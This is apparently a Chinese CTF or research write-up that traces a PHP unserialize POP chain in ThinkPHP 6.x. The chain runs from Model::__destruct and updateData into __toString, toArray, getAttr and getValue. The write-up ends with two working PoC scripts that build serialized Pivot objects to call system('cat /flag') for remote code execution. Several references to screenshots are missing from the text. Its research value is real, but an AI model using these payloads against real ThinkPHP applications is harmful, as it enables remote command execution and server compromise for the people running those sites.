__destruct()链构造
在 ThinkPHP5.x 的POP链中,入口都是 think\process\pipes\Windows 类,通过该类触发任意类的__toString
方法。但是 ThinkPHP6.x 的代码移除了 think\process\pipes\Windows
类,而POP链 __toString
之后的 Gadget 仍然存在,所以我们得继续寻找可以触发 __toString
方法的点。所有,总的目的就是跟踪寻找可以触发 __toString()
魔术方法的点。
先从起点 __destruct()
或 __wakeup
方法开始,因为它们就是unserialize的触发点。
(1)寻找__destruct方法
我们全局搜索__destruct()
方法,这里发现了/vendor/topthink/think-orm/src/Model.php中Model
类的__destruct
方法:
当满足$this->lazySave==true
时,它包含的save方法就会被触发,我们跟进save方法
(2)跟进save()方法
!
发现对$this->exists
属性进行判断,如果为true则调用upData()方法,如果为false则调用insertData()方法。而想要到达这一步,则要先避免被前面的判断return掉,所以需要先满足下面这个if语句
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
只需$this->isEmpty()
返回false,$this->trigger
返回true即可
先跟进$this->isEmpty()
方法
public function isEmpty(): bool
{
return empty($this->data);
}
只需要$this->data
不为空即可
再跟进$this->trigger
方法
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
只需要$this->withEvent
为false
即可
通过前面的if判断后即可进入到
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
分别跟进这两个方法,发现updateData()
存在继续利用的点,所以需要$this->exists == true
即可
(3)跟进updateData()方法
!
这里下一步的利用点在于$this->checkAllowFields()
中,但是要进入并调用该函数 需要先通过前两处if判断
第一处通过之前的分析,我们只要让$this->withEvent == false
第二处我们只要让$data
不为空即可,所以我们跟进getChangedData()
方法看一下
只要让$this->force
为true 则会直接返回$this->data
回到updateData()
中,之后就可以成功调用到了$this->checkAllowFields()
(4)跟进checkAllowFields()方法
这里直接进行了字符串拼接
把$this->table
或$this->suffix
设置成相应的类对象,此时通过.
拼接便可以把类当做字符串,就可以触发__toString()
方法了
来总结一下~
POP链前半段流程
Model.php
__destruct()->save->updateData()->checkAllowFields()
$this->table或$this->suffix设置成相应的类对象
POP链前半段需要满足的条件
$this->lazySave = true
$this->data不为空
$this->withEvent = false
$this->exists = true
但是还有一个问题就是Model
类是抽象类,不能实例化。所以要想利用,得找出Model
类的一个子类进行实例化。
我们查找extends Model
找到了Pivot
类(位于\vendor\topthink\think-orm\src\model\Pivot.php)中
__toString链构造
(1)寻找__toString()方法
寻找到的__toString()利用点位于\vendor\topthink\think-orm\src\model\concern\Conversion.php中名为Conversion
的trait中
public function __toString()
{
return $this->toJson();
}
我们继续跟进toJson()
方法
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}
调用了一个toArray()
方法
我们跟进toArray()
(3)跟进toArray()方法
对$data
进行遍历,其中$key
为$data
的键。
默认情况下,会进入第二个elseif
语句,从而将$key
作为参数调用getAttr()
方法
我们跟进getAttr()
方法 (位于\vendor\topthink\think-orm\src\model\concern\Attribute.php)中
(4)跟进getAttr()方法
$value
的值返回自$this->getData()
方法,且参数为$key
跟进一下getData()
方法
这里面getRealFieldName()
方法的参数,即$name
,依然是toArray()
传进来的$key
继续跟进getRealFieldName()
方法
如果$this->strict == true
则直接返回$name
,也就是最开始从toArray()
方法中传进来的$key
值
从getRealFieldName()
方法回到getData()
方法,此时$fieldName
为$key
这实际上返回了$this->data[$key]
然后再从getData()
回到getAttr()
,最后的返回语句如下
return $this->getValue($name, $value, $relation);
此时$name
就是$key
,$value
就是$this->data[$key]
继续跟进一下getValue
函数
我们可以在getValue()
方法中可以看到最终的利用点
即
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
我们只要让$closure
为"system",$this->data
为要执行的命令就可以动态执行system()
函数来Getshell了
$fieldName = $this->getRealFieldName($name);
$fieldName
就是$name
此时我们要通过前面两个if判断
第一处 只需$this->withAttr[$fieldName]
存在
第二处 只需$this->withAttr[$fieldName]
不是数组
最终Poc如下:
Poc1:
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["exec"=>"cat /flag"];
private $withAttr = ["exec"=>"system"];
}
namespace think;
abstract class Model
{
use \think\model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj='')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
$a=new Pivot();
$b=new Pivot($a);
echo urlencode(serialize($b));
Poc2:
<?php
namespace think\model\concern;
trait Attribute
{
private $data;
private $withAttr;
}
namespace think;
abstract class Model
{
use \think\model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($a='')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $a;
$function=function(){system('cat /flag');};
$b=\Opis\Closure\serialize($function);
$c=unserialize($b);
$this->data=['test'=>''];
$this->withAttr=['test'=>$c];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot())));